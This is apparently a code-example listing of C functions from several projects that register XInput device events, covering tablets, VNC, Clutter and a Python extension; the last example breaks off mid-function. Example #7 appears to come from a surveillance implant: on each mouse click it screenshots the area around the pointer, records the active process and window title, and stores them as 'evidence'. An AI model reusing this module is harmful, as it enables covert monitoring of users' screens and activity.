예제 #1
0
static int
register_events(Display		*dpy,
		XDeviceInfo	*info,
		char		*dev_name,
		Bool		handle_proximity)
{
  int			number = 0;	/* number of events registered */
  XEventClass		event_list[7];
  int			i;
  XDevice		*device;
  Window		root_win;
  unsigned long	screen;
  XInputClassInfo	*ip;

  screen = DefaultScreen(dpy);
  root_win = RootWindow(dpy, screen);

  device = XOpenDevice(dpy, info->id);

  if (!device) {
    fprintf(stderr, "unable to open device '%s'\n", dev_name);
    return 0;
  }

  if (device->num_classes > 0) {
    for (ip = device->classes, i=0; i<info->num_classes; ip++, i++) {
      switch (ip->input_class) {
      case KeyClass:
	DeviceKeyPress(device, key_press_type, event_list[number]); number++;
	DeviceKeyRelease(device, key_release_type, event_list[number]); number++;
	break;

      case ButtonClass:
	DeviceButtonPress(device, button_press_type, event_list[number]); number++;
	DeviceButtonRelease(device, button_release_type, event_list[number]); number++;
	break;

      case ValuatorClass:
	DeviceMotionNotify(device, motion_type, event_list[number]); number++;
	if (handle_proximity) {
	  ProximityIn(device, proximity_in_type, event_list[number]); number++;
	  ProximityOut(device, proximity_out_type, event_list[number]); number++;
	}
	break;

      default:
	fprintf(stderr, "unknown class\n");
	break;
      }
    }

    if (XSelectExtensionEvent(dpy, root_win, event_list, number)) {
      fprintf(stderr, "error selecting extended events\n");
      return 0;
    }
  }
  return number;
}
예제 #2
0
static int
register_events(XDeviceInfo *info, XDevice *device,
    Bool handle_proximity)
{
	int		 number = 0;	/* number of events registered */
	XEventClass	 event_list[7];
	int		 i;
	unsigned long	 screen;
	XInputClassInfo	*ip;

	screen = DefaultScreen(display);

	if (device->num_classes > 0) {
		for (ip = device->classes, i=0; i<info->num_classes;
		     ip++, i++) {
			switch (ip->input_class) {
			case ButtonClass:
				DeviceButtonPress(device, button_press_type,
				    event_list[number]);
				number++;
				DeviceButtonRelease(device,
				    button_release_type, event_list[number]);
				number++;
				break;

			case ValuatorClass:
				DeviceMotionNotify(device, motion_type,
				    event_list[number]); number++;
				if (handle_proximity) {
					ProximityIn(device, proximity_in_type,
					    event_list[number]); number++;
					ProximityOut(device,
					    proximity_out_type,
					    event_list[number]); number++;
				}
				break;

			default:
				fprintf(stderr,
				    "Found unknown device class %d\n",
				    ip->input_class);
				break;
			}
		}

		if (XSelectExtensionEvent(display, root, event_list, number)) {
			fprintf(stderr, "Error selecting extended events\n");
			return 0;
		}
	}
	return number;
}
예제 #3
0
void kis_x11_init_tablet()
{
    KisConfig cfg;
    bool disableTouchOnCanvas = cfg.disableTouchOnCanvas();

    // TODO: free this structure on exit
    KIS_X11 = new KisX11Data;
    KIS_X11->display = QX11Info::display();

    kis_x11_create_intern_atoms();

    // XInputExtension
    KIS_X11->use_xinput = false;
    KIS_X11->xinput_major = 0;
    KIS_X11->xinput_eventbase = 0;
    KIS_X11->xinput_errorbase = 0;

    // See if Xinput is supported on the connected display
    KIS_X11->ptrXCloseDevice = 0;
    KIS_X11->ptrXListInputDevices = 0;
    KIS_X11->ptrXOpenDevice = 0;
    KIS_X11->ptrXFreeDeviceList = 0;
    KIS_X11->ptrXSelectExtensionEvent = 0;
    KIS_X11->use_xinput = XQueryExtension(KIS_X11->display, "XInputExtension", &KIS_X11->xinput_major,
                                          &KIS_X11->xinput_eventbase, &KIS_X11->xinput_errorbase);
    if (KIS_X11->use_xinput) {
        KIS_X11->ptrXCloseDevice = XINPUT_LOAD(XCloseDevice);
        KIS_X11->ptrXListInputDevices = XINPUT_LOAD(XListInputDevices);
        KIS_X11->ptrXOpenDevice = XINPUT_LOAD(XOpenDevice);
        KIS_X11->ptrXFreeDeviceList = XINPUT_LOAD(XFreeDeviceList);
        KIS_X11->ptrXSelectExtensionEvent = XINPUT_LOAD(XSelectExtensionEvent);
    }

    if (KIS_X11->use_xinput) {
        int ndev,
            i,
            j;
        bool gotStylus,
            gotEraser;
        XDeviceInfo *devices = 0, *devs;
        XInputClassInfo *ip;
        XAnyClassPtr any;
        XValuatorInfoPtr v;
        XAxisInfoPtr a;
        XDevice *dev = 0;

        bool needCheckIfItIsReallyATablet;
        bool touchWacomTabletWorkaround;

        if (KIS_X11->ptrXListInputDevices) {
            devices = KIS_X11->ptrXListInputDevices(KIS_X11->display, &ndev);
            if (!devices)
                qWarning("QApplication: Failed to get list of tablet devices");
        }
        if (!devices)
            ndev = -1;

        QTabletEvent::TabletDevice deviceType;
        for (devs = devices, i = 0; i < ndev && devs; i++, devs++) {
            dev = 0;
            deviceType = QTabletEvent::NoDevice;
            gotStylus = false;
            gotEraser = false;
            needCheckIfItIsReallyATablet = false;
            touchWacomTabletWorkaround = false;

#if defined(Q_OS_IRIX)
#else


                if (devs->type == KIS_ATOM(XWacomStylus) || devs->type == KIS_ATOM(XTabletStylus) ||devs->type == KIS_ATOM(XInputTablet)) {
                    if (devs->type == KIS_ATOM(XInputTablet)) {
                        kis_haveEvdevTablets = true;
                    }
                    deviceType = QTabletEvent::Stylus;
                    gotStylus = true;
                } else if (devs->type == KIS_ATOM(XWacomEraser) || devs->type == KIS_ATOM(XTabletEraser)) {
                    deviceType = QTabletEvent::XFreeEraser;
                    gotEraser = true;
                } else if ((devs->type == KIS_ATOM(XInputKeyboard) ||
                            devs->type == KIS_ATOM(AiptekStylus))
                           && QString(devs->name) == "Aiptek") {
                    /**
                     * Some really "nice" tablets (more precisely,
                     * Genius G-Pen 510 (aiptek driver)) report that
                     * they are a "keyboard". Well, we cannot convince
                     * them that they are not, so just check if this
                     * "keyboard" has motion and proximity events. If
                     * it looks like a duck... :)
                     */
                    kis_haveEvdevTablets = true;
                    deviceType = QTabletEvent::Stylus;
                    gotStylus = true;
                    needCheckIfItIsReallyATablet = true;
                } else if (disableTouchOnCanvas &&
                           devs->type == KIS_ATOM(WacomTouch) &&
                           QString(devs->name).contains("Wacom")) {

                    kis_haveEvdevTablets = true;
                    deviceType = QTabletEvent::Stylus;
                    gotStylus = true;
                    touchWacomTabletWorkaround = true;
                }

#endif
            if (deviceType == QTabletEvent::NoDevice)
                continue;

            if (gotStylus || gotEraser) {
                if (KIS_X11->ptrXOpenDevice)
                    dev = KIS_X11->ptrXOpenDevice(KIS_X11->display, devs->id);

                if (!dev)
                    continue;

                QTabletDeviceData device_data;
                device_data.deviceType = deviceType;
                device_data.eventCount = 0;
                device_data.device = dev;
                device_data.xinput_motion = -1;
                device_data.xinput_key_press = -1;
                device_data.xinput_key_release = -1;
                device_data.xinput_button_press = -1;
                device_data.xinput_button_release = -1;
                device_data.xinput_proximity_in = -1;
                device_data.xinput_proximity_out = -1;
                device_data.isTouchWacomTablet = touchWacomTabletWorkaround;
                //device_data.widgetToGetPress = 0;

                if (dev->num_classes > 0) {
                    for (ip = dev->classes, j = 0; j < dev->num_classes;
                         ip++, j++) {
                        switch (ip->input_class) {
                        case KeyClass:
                            DeviceKeyPress(dev, device_data.xinput_key_press,
                                           device_data.eventList[device_data.eventCount]);
                            if (device_data.eventList[device_data.eventCount])
                                ++device_data.eventCount;
                            DeviceKeyRelease(dev, device_data.xinput_key_release,
                                             device_data.eventList[device_data.eventCount]);
                            if (device_data.eventList[device_data.eventCount])
                                ++device_data.eventCount;
                            break;
                        case ButtonClass:
                            DeviceButtonPress(dev, device_data.xinput_button_press,
                                              device_data.eventList[device_data.eventCount]);
                            if (device_data.eventList[device_data.eventCount])
                                ++device_data.eventCount;
                            DeviceButtonRelease(dev, device_data.xinput_button_release,
                                                device_data.eventList[device_data.eventCount]);
                            if (device_data.eventList[device_data.eventCount])
                                ++device_data.eventCount;
                            break;
                        case ValuatorClass:
                            // I'm only going to be interested in motion when the
                            // stylus is already down anyway!
                            DeviceMotionNotify(dev, device_data.xinput_motion,
                                               device_data.eventList[device_data.eventCount]);
                            if (device_data.eventList[device_data.eventCount])
                                ++device_data.eventCount;
                            ProximityIn(dev, device_data.xinput_proximity_in, device_data.eventList[device_data.eventCount]);
                            if (device_data.eventList[device_data.eventCount])
                                ++device_data.eventCount;
                            ProximityOut(dev, device_data.xinput_proximity_out, device_data.eventList[device_data.eventCount]);
                            if (device_data.eventList[device_data.eventCount])
                                ++device_data.eventCount;
                        default:
                            break;
                        }
                    }
                }

                if (needCheckIfItIsReallyATablet &&
                    (device_data.xinput_motion == -1 ||
                     device_data.xinput_proximity_in == -1 ||
                     device_data.xinput_proximity_out == -1)) {
                    continue;
                }

                if (KisTabletDebugger::instance()->initializationDebugEnabled()) {
                    dbgTablet << "###################################";
                    dbgTablet << "# Adding a tablet device:" << devs->name;
                    dbgTablet << "Device Type:" << KisTabletDebugger::tabletDeviceToString(deviceType);
                }

                device_data.savedAxesData.tryFetchAxesMapping(dev);

                // get the min/max value for pressure!
                any = (XAnyClassPtr) (devs->inputclassinfo);
                for (j = 0; j < devs->num_classes; j++) {
                    if (any->c_class == ValuatorClass) {
                        v = (XValuatorInfoPtr) any;
                        a = (XAxisInfoPtr) ((char *) v +
                                            sizeof (XValuatorInfo));
#if defined (Q_OS_IRIX)
#else
                        device_data.minX = a[0].min_value;
                        device_data.maxX = a[0].max_value;
                        device_data.minY = a[1].min_value;
                        device_data.maxY = a[1].max_value;
                        device_data.minPressure = a[2].min_value;
                        device_data.maxPressure = a[2].max_value;
                        device_data.minTanPressure = 0;
                        device_data.maxTanPressure = 0;
                        device_data.minZ = 0;
                        device_data.maxZ = 0;
                        device_data.minRotation = a[5].min_value;
                        device_data.maxRotation = a[5].max_value;

                        if (KisTabletDebugger::instance()->initializationDebugEnabled()) {
                            dbgTablet << "# Axes limits data";
                            dbgTablet << "X:       " << device_data.minX << device_data.maxX;
                            dbgTablet << "Y:       " << device_data.minY << device_data.maxY;
                            dbgTablet << "Z:       " << device_data.minZ << device_data.maxZ;
                            dbgTablet << "Pressure:" << device_data.minPressure << device_data.maxPressure;
                            dbgTablet << "Rotation:" << device_data.minRotation << device_data.maxRotation;
                            dbgTablet << "T. Pres: " << device_data.minTanPressure << device_data.maxTanPressure;
                        }

#endif

                        // got the max pressure no need to go further...
                        break;
                    }
                    any = (XAnyClassPtr) ((char *) any + any->length);
                } // end of for loop

                qt_tablet_devices()->append(device_data);
            } // if (gotStylus || gotEraser)
        }
        if (KIS_X11->ptrXFreeDeviceList)
            KIS_X11->ptrXFreeDeviceList(devices);
    }
}
예제 #4
0
JNIEXPORT void JNICALL Java_com_turbovnc_vncviewer_Viewport_setupExtInput
  (JNIEnv *env, jobject obj)
{
  jclass cls, eidcls;
  jfieldID fid;
  jmethodID mid;
  Display *dpy = NULL;
  Window win = 0;
  XDeviceInfo *devInfo = NULL;
  XDevice *device = NULL;
  int nDevices = 0, i, ci, ai, nEvents = 0;
  int buttonPressType = -1, buttonReleaseType = -1, motionType = -1;
  XEventClass events[100] = { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1};
  jobject extInputDevice;

  if ((dpy = XOpenDisplay(NULL)) == NULL)
    _throw("Could not open X display");

  bailif0(cls = (*env)->GetObjectClass(env, obj));
  bailif0(fid = (*env)->GetFieldID(env, cls, "x11win", "J"));
  if ((win = (Window)(*env)->GetLongField(env, obj, fid)) == 0)
    _throw("X window handle has not been initialized");

  if ((devInfo = XListInputDevices(dpy, &nDevices)) == NULL)
    _throw("Could not list XI devices");

  for (i = 0; i < nDevices; i++) {
    char *type;
    XAnyClassPtr classInfo = devInfo[i].inputclassinfo;
    CARD32 canGenerate = 0, productID = 0;

    if (devInfo[i].use != IsXExtensionPointer)
      continue;
    if (devInfo[i].type == None)
      continue;
    type = XGetAtomName(dpy, devInfo[i].type);
    if (!strcmp(type, "MOUSE"))  {
      XFree(type);
      continue;
    }
    /* TurboVNC-specific:  we use productID to represent the device type, so
       we can recreate it on the server */
    if (!strcmp(type, "CURSOR"))
      productID = rfbGIIDevTypeCursor;
    else if (!strcmp(type, "STYLUS"))
      productID = rfbGIIDevTypeStylus;
    else if (!strcmp(type, "ERASER"))
      productID = rfbGIIDevTypeEraser;
    else if (!strcmp(type, "TOUCH"))
      productID = rfbGIIDevTypeTouch;
    else if (!strcmp(type, "PAD"))
      productID = rfbGIIDevTypePad;
    XFree(type);

    bailif0(eidcls =
            (*env)->FindClass(env, "com/turbovnc/rfb/ExtInputDevice"));
    bailif0(extInputDevice = (*env)->AllocObject(env, eidcls));

    SET_STRING(eidcls, extInputDevice, name, devInfo[i].name);
    SET_LONG(eidcls, extInputDevice, vendorID, 4242);
    SET_LONG(eidcls, extInputDevice, productID, productID);
    SET_LONG(eidcls, extInputDevice, id, devInfo[i].id);

    for (ci = 0; ci < devInfo[i].num_classes; ci++) {

      switch (classInfo->class) {

        case ButtonClass:
        {
          XButtonInfoPtr b = (XButtonInfoPtr)classInfo;
          SET_INT(eidcls, extInputDevice, numButtons, b->num_buttons);
          canGenerate |= rfbGIIButtonPressMask | rfbGIIButtonReleaseMask;
          break;
        }

        case ValuatorClass:
        {
          XValuatorInfoPtr v = (XValuatorInfoPtr)classInfo;
          jclass valcls;

          bailif0(valcls = (*env)->FindClass(env,
                  "com/turbovnc/rfb/ExtInputDevice$Valuator"));

          if (v->mode == Absolute)
            canGenerate |= rfbGIIValuatorAbsoluteMask;
          else if (v->mode == Relative)
            canGenerate |= rfbGIIValuatorRelativeMask;

          for (ai = 0; ai < v->num_axes; ai++) {
            jobject valuator;
            XAxisInfoPtr a = &v->axes[ai];
            char longName[75], shortName[5];

            bailif0(valuator = (*env)->AllocObject(env, valcls));
            SET_INT(valcls, valuator, index, ai);
            snprintf(longName, 75, "Valuator %d", ai);
            SET_STRING(valcls, valuator, longName, longName);
            snprintf(shortName, 5, "%d", ai);
            SET_STRING(valcls, valuator, shortName, shortName);
            SET_INT(valcls, valuator, rangeMin, a->min_value);
            SET_INT(valcls, valuator, rangeCenter,
                    (a->min_value + a->max_value) / 2);
            SET_INT(valcls, valuator, rangeMax, a->max_value);
            SET_INT(valcls, valuator, siUnit, rfbGIIUnitLength);
            SET_INT(valcls, valuator, siDiv, a->resolution);

            bailif0(mid = (*env)->GetMethodID(env, eidcls, "addValuator",
                    "(Lcom/turbovnc/rfb/ExtInputDevice$Valuator;)V"));
            (*env)->CallVoidMethod(env, extInputDevice, mid, valuator);
          }
          break;
        }
      }
      classInfo = (XAnyClassPtr)((char *)classInfo + classInfo->length);
    }

    SET_LONG(eidcls, extInputDevice, canGenerate, canGenerate);
    if (canGenerate & rfbGIIValuatorAbsoluteMask)
      SET_BOOL(eidcls, extInputDevice, absolute, 1);

    if ((device = XOpenDevice(dpy, devInfo[i].id)) == NULL)
      _throw("Could not open XI device");

    for (ci = 0; ci < device->num_classes; ci++) {
      if (device->classes[ci].input_class == ButtonClass) {
        DeviceButtonPress(device, buttonPressType, events[nEvents]);
        nEvents++;
        DeviceButtonRelease(device, buttonReleaseType, events[nEvents]);
        nEvents++;
      } else if (device->classes[ci].input_class == ValuatorClass) {
        DeviceMotionNotify(device, motionType, events[nEvents]);
        nEvents++;
      }
    }
    XCloseDevice(dpy, device);  device=NULL;

    bailif0(mid = (*env)->GetMethodID(env, cls, "addInputDevice",
            "(Lcom/turbovnc/rfb/ExtInputDevice;)V"));
    (*env)->CallVoidMethod(env, obj, mid, extInputDevice);
  }

  XFreeDeviceList(devInfo);  devInfo = NULL;
  if (nEvents == 0) {
    printf("No extended input devices.\n");
    goto bailout;
  }

  if (XSelectExtensionEvent(dpy, win, events, nEvents))
    _throw("Could not select XI events");

  SET_INT(cls, obj, buttonPressType, buttonPressType);
  SET_INT(cls, obj, buttonReleaseType, buttonReleaseType);
  SET_INT(cls, obj, motionType, motionType);
  SET_LONG(cls, obj, x11dpy, (jlong)dpy);

  printf("TurboVNC Helper: Listening for XInput events on %s (window 0x%.8x)\n",
         DisplayString(dpy), (unsigned int)win);

  bailout:
  if (dpy && device) XCloseDevice(dpy, device);
  if (devInfo) XFreeDeviceList(devInfo);
}
예제 #5
0
int Run(Display* pDisp, UI* pUI, FORMATTYPE fmt, const char* pszDeviceName)
{
	int nRtn;
	XDevice* pDev;
	XDeviceInfoPtr pDevInfo;
	int nEventListCnt = 0;
	XEventClass eventList[32];
	XEventClass cls;

	/* get the device by name */
	pDevInfo = GetDevice(pDisp,pszDeviceName);
	if (!pDevInfo)
	{
		fprintf(stderr,"Unable to find input device '%s'\n",pszDeviceName);
		return 1;
	}

	/* open device */
	pDev = XOpenDevice(pDisp,pDevInfo->id);
	if (!pDev)
	{
		fprintf(stderr,"Unable to open input device '%s'\n",pszDeviceName);
		return 1;
	}

	/* key events */
	DeviceKeyPress(pDev,gnInputEvent[INPUTEVENT_KEY_PRESS],cls);
	if (cls) eventList[nEventListCnt++] = cls;
	DeviceKeyRelease(pDev,gnInputEvent[INPUTEVENT_KEY_RELEASE],cls);
	if (cls) eventList[nEventListCnt++] = cls;

	/* focus events */
	DeviceFocusIn(pDev,gnInputEvent[INPUTEVENT_FOCUS_IN],cls);
	if (cls) eventList[nEventListCnt++] = cls;
	DeviceFocusOut(pDev,gnInputEvent[INPUTEVENT_FOCUS_OUT],cls);
	if (cls) eventList[nEventListCnt++] = cls;

	/* button events */
	DeviceButtonPress(pDev,gnInputEvent[INPUTEVENT_BTN_PRESS],cls);
	if (cls) eventList[nEventListCnt++] = cls;
	DeviceButtonRelease(pDev,gnInputEvent[INPUTEVENT_BTN_RELEASE],cls);
	if (cls) eventList[nEventListCnt++] = cls;

	/* proximity events */
	ProximityIn(pDev,gnInputEvent[INPUTEVENT_PROXIMITY_IN],cls);
	if (cls) eventList[nEventListCnt++] = cls;
	ProximityOut(pDev,gnInputEvent[INPUTEVENT_PROXIMITY_OUT],cls);
	if (cls) eventList[nEventListCnt++] = cls;

	/* motion events */
	DeviceMotionNotify(pDev,gnInputEvent[INPUTEVENT_MOTION_NOTIFY],cls);
	if (cls) eventList[nEventListCnt++] = cls;

	/* device state */
	DeviceStateNotify(pDev,gnInputEvent[INPUTEVENT_DEVICE_STATE_NOTIFY],cls);
	if (cls) eventList[nEventListCnt++] = cls;
	DeviceMappingNotify(pDev,
			gnInputEvent[INPUTEVENT_DEVICE_MAPPING_NOTIFY],cls);
	if (cls) eventList[nEventListCnt++] = cls;
	ChangeDeviceNotify(pDev,gnInputEvent[INPUTEVENT_CHANGE_DEVICE_NOTIFY],cls);
	if (cls) eventList[nEventListCnt++] = cls;

#if 0
	/* this cuts the motion data down - not sure if this is useful */
	DevicePointerMotionHint(pDev,
			gnInputEvent[INPUTEVENT_DEVICE_POINTER_MOTION_HINT],cls);
	if (cls) eventList[nEventListCnt++] = cls;
#endif

	/* button motion */
	DeviceButtonMotion(pDev,
			gnInputEvent[INPUTEVENT_DEVICE_BUTTON_MOTION],cls);
	if (cls) eventList[nEventListCnt++] = cls;
	DeviceButton1Motion(pDev,
			gnInputEvent[INPUTEVENT_DEVICE_BUTTON1_MOTION],cls);
	if (cls) eventList[nEventListCnt++] = cls;
	DeviceButton2Motion(pDev,
			gnInputEvent[INPUTEVENT_DEVICE_BUTTON2_MOTION],cls);
	if (cls) eventList[nEventListCnt++] = cls;
	DeviceButton3Motion(pDev,
			gnInputEvent[INPUTEVENT_DEVICE_BUTTON3_MOTION],cls);
	if (cls) eventList[nEventListCnt++] = cls;
	DeviceButton4Motion(pDev,
			gnInputEvent[INPUTEVENT_DEVICE_BUTTON4_MOTION],cls);
	if (cls) eventList[nEventListCnt++] = cls;
	DeviceButton5Motion(pDev,
			gnInputEvent[INPUTEVENT_DEVICE_BUTTON5_MOTION],cls);
	if (cls) eventList[nEventListCnt++] = cls;

	/* specify which events to report */
	/* XSelectInput(pDisp,wnd,0x00FFFFFF ^ PointerMotionHintMask); */
	/* XSelectExtensionEvent(pDisp,wnd,eventList,nEventListCnt); */

	/* grab device - work whether pointer is in active window or not */
	XGrabDevice(pDisp,pDev,DefaultRootWindow(pDisp),
			0, /* no owner events */
			nEventListCnt, eventList, /* events */
			GrabModeAsync, /* don't queue, give me whatever you got */
			GrabModeAsync, /* same */
			CurrentTime);

	/* fire up the UI */
	if ((nRtn=pUI->Init()) != 0)
		fprintf(stderr,"failed to initialize UI\n");
	else
	{
		if ((nRtn=pUI->Run(pDisp,pDevInfo,fmt)) != 0)
			fprintf(stderr,"failed to run UI\n");
		pUI->Term();
	}

	XUngrabDevice(pDisp,pDev,CurrentTime);
	XFree(pDev);
	XCloseDisplay(pDisp);

	return nRtn;
}
예제 #6
0
static PyObject * xextdev_grab(PyObject *self, PyObject *args)
{
	XEventClass cls;
	const char *devname;
	int devid;
	XAnyClassPtr pClass;
	int j;
	XEventClass eventList[32];
	int nEventListCnt = 0;

	if (!display) {
		ASSERTCOND(display = XOpenDisplay(NULL),"open display");

		/* polling this seems to be the only way 
		* 	 * to do a timed wait on X events */
		x11_fd = ConnectionNumber(display);

		xdevList = (XDeviceInfoPtr) XListInputDevices(display, &devcount);
		if (!xdevList) {
			fprintf(stderr,"Failed to get input device list\n");
			return Py_BuildValue("i", 0);
		}
	}

	if (!PyArg_ParseTuple(args, "i", &devid))
		return Py_BuildValue("i", 0);

	ASSERTCOND(devid<devcount,
		   "Tried to grab non-existing device id %d (max %d)",
		   devid,devcount);

	xdevInfo = xdevList + devid;
	devname = xdevInfo->name;

	val = NULL;

	pClass = xdevInfo->inputclassinfo;
	for (j=0; j<xdevInfo->num_classes; ++j)
	{
		switch (pClass->class) {
		case ValuatorClass:
			val = (XValuatorInfoPtr)pClass;
			break;
		}
		pClass = (XAnyClassPtr)((char*)pClass + pClass->length);
	}

	ASSERTCOND(val,"xinputextdev: Unable to get valuator "
		   "information of '%s'\n",devname);

	/* open device */
	ASSERTCOND(xdev = XOpenDevice(display,xdevInfo->id),
		   "xinputextdev: Unable to open "
		   "input device '%s'\n",devname);

	/* button events */
	DeviceButtonPress(xdev,inputEventTypes[INPUTEVENT_BTN_PRESS],cls);
	if (cls) eventList[nEventListCnt++] = cls;
	DeviceButtonRelease(xdev,inputEventTypes[INPUTEVENT_BTN_RELEASE],cls);
	if (cls) eventList[nEventListCnt++] = cls;

	/* motion events */
	DeviceMotionNotify(xdev,inputEventTypes[INPUTEVENT_MOTION_NOTIFY],cls);
	if (cls) eventList[nEventListCnt++] = cls;

	/* proximity events */
	ProximityOut(xdev,inputEventTypes[INPUTEVENT_PROXIMITY_OUT],cls);
	if (cls) eventList[nEventListCnt++] = cls;
	ProximityIn(xdev,inputEventTypes[INPUTEVENT_PROXIMITY_IN],cls);
	if (cls) eventList[nEventListCnt++] = cls;

	/* grab device */
	int err = XGrabDevice(display,xdev,DefaultRootWindow(display),
			      0,nEventListCnt,eventList,
			      GrabModeAsync,GrabModeAsync,CurrentTime);

	if (err == AlreadyGrabbed)
		fprintf(stderr,"xinputextdev: Grab error: AlreadyGrabbed\n");
	else if (err == GrabNotViewable)
		fprintf(stderr, "xinputextdev: Grab error: GrabNotViewable\n");
	else if (err == GrabFrozen)
		fprintf(stderr, "xinputextdev: Grab error: GrabFrozen\n");
	else {
		printf("xinputextdev: Device '%s' grabbed.\n",devname);
		return Py_BuildValue("[i,i]",
				     val->axes[0].max_value,
				     val->axes[1].max_value);
	}

	return Py_BuildValue("i", 0);
}
예제 #7
0
void *module_mouse_main(void *args)
{
   Display *display = NULL;
   int i, devnum = 0, mousenum = 0, buttonrelease = 0;
   XDeviceInfo *devinfo = NULL;
   XDevice **device = NULL;
   XEventClass evlist;
   XEvent event;
   Window root, child;
   int rootX, rootY, childX, childY;
   unsigned int mask;
   XWindowAttributes wininfo;
   int maxfd = -1, xfd = -1;
   int width = 40, height = 40;
   char *process = NULL, *title = NULL;
   int imgx, imgy, imgw, imgh;
   fd_set rfds;
   struct additional a;
   BIO *bio_additional = NULL;
   char *additionalptr, *dataptr = NULL;
   long additionallen, datalen = 0;

   debugme("Module MOUSE started\n");
   if(initlib(INIT_LIBXI|INIT_LIBJPEG)) return NULL;

   if(MODULE_MOUSE_P) {
      width = MODULE_MOUSE_P->width;
      height = MODULE_MOUSE_P->height;
   }

   do {
      if((display = XOpenDisplay(NULL)) == NULL) break;
      if((xfd = ConnectionNumber(display)) < 0) break;
      if(!(devinfo = XListInputDevices(display, &devnum)) || !devnum) break;
      if(!(device = calloc(devnum, sizeof(XDevice *)))) break;
      if(!(bio_additional = BIO_new(BIO_s_mem()))) break;

      for(i = 0; i < devnum; i++) {
         if(devinfo[i].use == IsXExtensionPointer) {
            if(!(device[i] = XOpenDevice(display, devinfo[i].id))) continue;
            DeviceButtonRelease(device[i], buttonrelease, evlist);
            XSelectExtensionEvent(display, DefaultRootWindow(display), &evlist, 1);
            mousenum++;
         }
      }
      if(!mousenum) break;

      maxfd = MAX(xfd, MODULE_MOUSE.event) + 1;

      while(MODULE_MOUSE.status != MODULE_STOPPING) {
         do {
            if(!XPending(display)) {
               FD_ZERO(&rfds);
               FD_SET(xfd, &rfds);
               FD_SET(MODULE_MOUSE.event, &rfds);
               if(select(maxfd, &rfds, NULL, NULL, NULL) == -1) break;
            }
            if(MODULE_MOUSE.status == MODULE_STOPPING) break;
            if(XNextEvent(display, &event)) break;
            if(event.type != buttonrelease) break;
            if(((XDeviceButtonEvent *)&event)->button > 3) break;

            XQueryPointer(display, DefaultRootWindow(display), &root, &child, &rootX, &rootY, &childX, &childY, &mask);
            XGetWindowAttributes(display, DefaultRootWindow(display), &wininfo);
            getwindowproperties(display, getactivewindow(display), &process, &title);
            debugme("MOUSE b=%d, x=%d, y=%d (%s | %.20s)\n", ((XDeviceButtonEvent *)&event)->button, rootX, rootY, process, title);

            imgx = MAX(rootX - (width / 2), 0);
            imgy = MAX(rootY - (height / 2), 0);
            imgw = MIN(rootX + (width / 2), wininfo.width) - imgx;
            imgh = MIN(rootY + (height / 2), wininfo.height) - imgy;
            if(!(datalen = getscreenimage(display, DefaultRootWindow(display), imgx, imgy, imgw, imgh, 90, &dataptr))) break;

            a.version = MOUSEMODULE_VERSION;
            a.processlen = strlen16(process) + 2;
            a.titlelen = strlen16(title) + 2;
            a.x = rootX;
            a.y = rootY;
            a.width = imgw;
            a.height = imgh;
            (void)BIO_reset(bio_additional);
            BIO_write(bio_additional, &a, sizeof(a));
            BIO_puts16n(bio_additional, process);
            BIO_puts16n(bio_additional, title);
            if(!(additionallen = BIO_get_mem_data(bio_additional, &additionalptr))) break;

            evidence_write(EVIDENCE_TYPE_MOUSE, additionalptr, additionallen, dataptr, datalen);
         } while(0);
         if(dataptr) { free(dataptr); dataptr = NULL; }
         if(process) { free(process); process = NULL; }
         if(title) { free(title); title = NULL; }
      }
   } while(0);
   if(bio_additional) BIO_free(bio_additional);
   if(device) {
      for(i = 0; i < devnum; i++) if(device[i]) XCloseDevice(display, device[i]);
      free(device);
   }
   if(devinfo) XFreeDeviceList(devinfo);
   if(display) XCloseDisplay(display);

   debugme("Module MOUSE stopped\n");

   return NULL;
}
예제 #8
0
gint
_clutter_input_device_x11_construct (ClutterInputDevice *device,
                                     ClutterBackendX11  *backend)
{
  int n_events = 0;

#ifdef HAVE_XINPUT
  ClutterInputDeviceX11 *device_x11;
  XDevice *x_device = NULL;
  gint device_id;
  int i;

  device_x11 = CLUTTER_INPUT_DEVICE_X11 (device);
  device_id = clutter_input_device_get_device_id (device);

  clutter_x11_trap_x_errors ();

  /* retrieve the X11 device */
  x_device = XOpenDevice (backend->xdpy, device_id);

  if (clutter_x11_untrap_x_errors () || x_device == NULL)
    {
      CLUTTER_NOTE (BACKEND, "Unable to open device %i", device_id);
      return 0;
    }

  device_x11->xdevice = x_device;

  CLUTTER_NOTE (BACKEND,
                "Registering XINPUT device with XID: %li",
                x_device->device_id);

  /* We must go through all the classes supported by this device and
   * register the appropriate events we want. Each class only appears
   * once. We need to store the types with the stage since they are
   * created dynamically by the server. They are not device specific.
   */
  for (i = 0; i < x_device->num_classes; i++)
    {
      XInputClassInfo *xclass_info = x_device->classes + i;
      int *button_press, *button_release, *motion_notify;
      int *key_press, *key_release;

      button_press =
        &backend->event_types[CLUTTER_X11_XINPUT_BUTTON_PRESS_EVENT];
      button_release =
        &backend->event_types[CLUTTER_X11_XINPUT_BUTTON_RELEASE_EVENT];
      motion_notify =
        &backend->event_types[CLUTTER_X11_XINPUT_MOTION_NOTIFY_EVENT];

      key_press =
        &backend->event_types[CLUTTER_X11_XINPUT_KEY_PRESS_EVENT];
      key_release =
        &backend->event_types[CLUTTER_X11_XINPUT_KEY_RELEASE_EVENT];

      switch (xclass_info->input_class)
        {
        /* event though XInput 1.x is broken for keyboard-like devices
         * it might still be useful to track them down; the core keyboard
         * will handle the right events anyway
         */
        case KeyClass:
          DeviceKeyPress (x_device,
                          *key_press,
                          device_x11->xevent_list[n_events]);
          n_events++;

          DeviceKeyRelease (x_device,
                            *key_release,
                            device_x11->xevent_list[n_events]);
          n_events++;
          break;

        case ButtonClass:
          DeviceButtonPress (x_device,
                             *button_press,
                             device_x11->xevent_list[n_events]);
          n_events++;

          DeviceButtonRelease (x_device,
                               *button_release,
                               device_x11->xevent_list[n_events]);
          n_events++;
          break;

        case ValuatorClass:
          DeviceMotionNotify (x_device,
                              *motion_notify,
                              device_x11->xevent_list[n_events]);
          n_events++;
          break;
        }
    }

  device_x11->num_events = n_events;
#endif /* HAVE_XINPUT */

  return n_events;
}
예제 #9
0
/* this piece of code was taken from package xinput-1.12 */
static int
register_events(int		player_id,
		Display		*dpy,
		XDeviceInfo	*info,
		char		*dev_name)
{
	int			number = 0;	/* number of events registered */
	XEventClass		event_list[7];
	int			i;
	XAnyClassPtr	any;
	XDevice		*device;
	Window		root_win;
	unsigned long	screen;
	XInputClassInfo	*ip;
	XButtonInfoPtr      binfo;
	XValuatorInfoPtr    vinfo;

	screen = DefaultScreen(dpy);
	root_win = RootWindow(dpy, screen);

	device = XOpenDevice(dpy, info->id);

	if (!device) {
		fprintf(stderr, "XInput: Unable to open XInput device `%s'\n", dev_name);
